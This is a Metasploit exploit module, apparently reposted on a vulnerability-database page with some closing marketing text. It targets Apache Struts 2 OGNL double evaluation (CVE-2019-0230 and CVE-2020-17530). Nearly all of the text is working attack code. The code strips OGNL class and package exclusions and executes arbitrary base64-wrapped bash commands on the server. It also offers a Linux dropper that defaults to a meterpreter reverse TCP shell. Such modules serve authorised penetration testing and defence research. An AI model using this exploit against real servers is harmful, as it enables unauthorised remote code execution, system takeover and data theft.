`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',
'Description' => %q{
The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags
attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a
tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).
This vulnerability is application dependant. A server side template must make an affected use of request data to
render an HTML tag attribute.
},
'Author' => [
'Spencer McIntyre', # Metasploit module
'Matthias Kaiser', # discovery of CVE-2019-0230
'Alvaro Muñoz', # (@pwntester) discovery of CVE-2020-17530
'ka1n4t', # PoC of CVE-2020-17530
],
'References' => [
['CVE', '2019-0230'],
['CVE', '2020-17530'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],
['URL', 'https://github.com/ka1n4t/CVE-2020-17530'],
],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
},
'DefaultTarget' => 0
)
)
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])
])
register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])
])
end
def check
num1 = rand(1000..9999)
num2 = rand(1000..9999)
res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}"))
if res.nil?
return CheckCode::Unknown
elsif res.body.scan(/(["'])\s*#{(num1 * num2)}\s*\1/).empty?
return CheckCode::Safe
end
return CheckCode::Appears
end
def exploit
cve = datastore['CVE']
print_status("Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}")
if cve == 'CVE-2019-0230'
ognl = []
ognl << '#context=#attr[\'struts.valueStack\'].context'
ognl << '#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']'
ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'
ognl << '#ognlUtil.setExcludedClasses(\'\')'
ognl << '#ognlUtil.setExcludedPackageNames(\'\')'
res = send_request_cgi(build_http_request(cve, ognl))
fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200
end
case target['Type']
when :unix_cmd
execute_command(payload.encoded, { cve: cve })
when :linux_dropper
execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })
end
end
def execute_command(cmd, opts = {})
send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)
end
def build_http_request(cve, ognl)
ognl = ognl.map { |part| "(#{part})" }.join('.') if ognl.is_a? Array
http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }
http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?
if cve == 'CVE-2019-0230'
http_request_parameters['method'] = 'GET'
http_request_parameters['vars_get'] = { datastore['NAME'] => "%{#{ognl}}" }
elsif cve == 'CVE-2020-17530'
http_request_parameters['method'] = 'POST'
http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" }
end
http_request_parameters
end
def build_ognl(cve, cmd)
cmd = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash"
ognl = []
if cve == 'CVE-2019-0230'
ognl << '#context=#attr[\'struts.valueStack\'].context'
ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'
ognl << "@java.lang.Runtime@getRuntime().exec(\"#{cmd}\")"
elsif cve == 'CVE-2020-17530'
ognl << '#instancemanager=#application["org.apache.tomcat.InstanceManager"]'
ognl << '#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]'
ognl << '#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")'
ognl << '#bean.setBean(#stack)'
ognl << '#context=#bean.get("context")'
ognl << '#bean.setBean(#context)'
ognl << '#macc=#bean.get("memberAccess")'
ognl << '#bean.setBean(#macc)'
ognl << '#emptyset=#instancemanager.newInstance("java.util.HashSet")'
ognl << '#bean.put("excludedClasses",#emptyset)'
ognl << '#bean.put("excludedPackageNames",#emptyset)'
ognl << '#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")'
ognl << "#execute.exec({\"#{cmd}\"})"
end
ognl
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation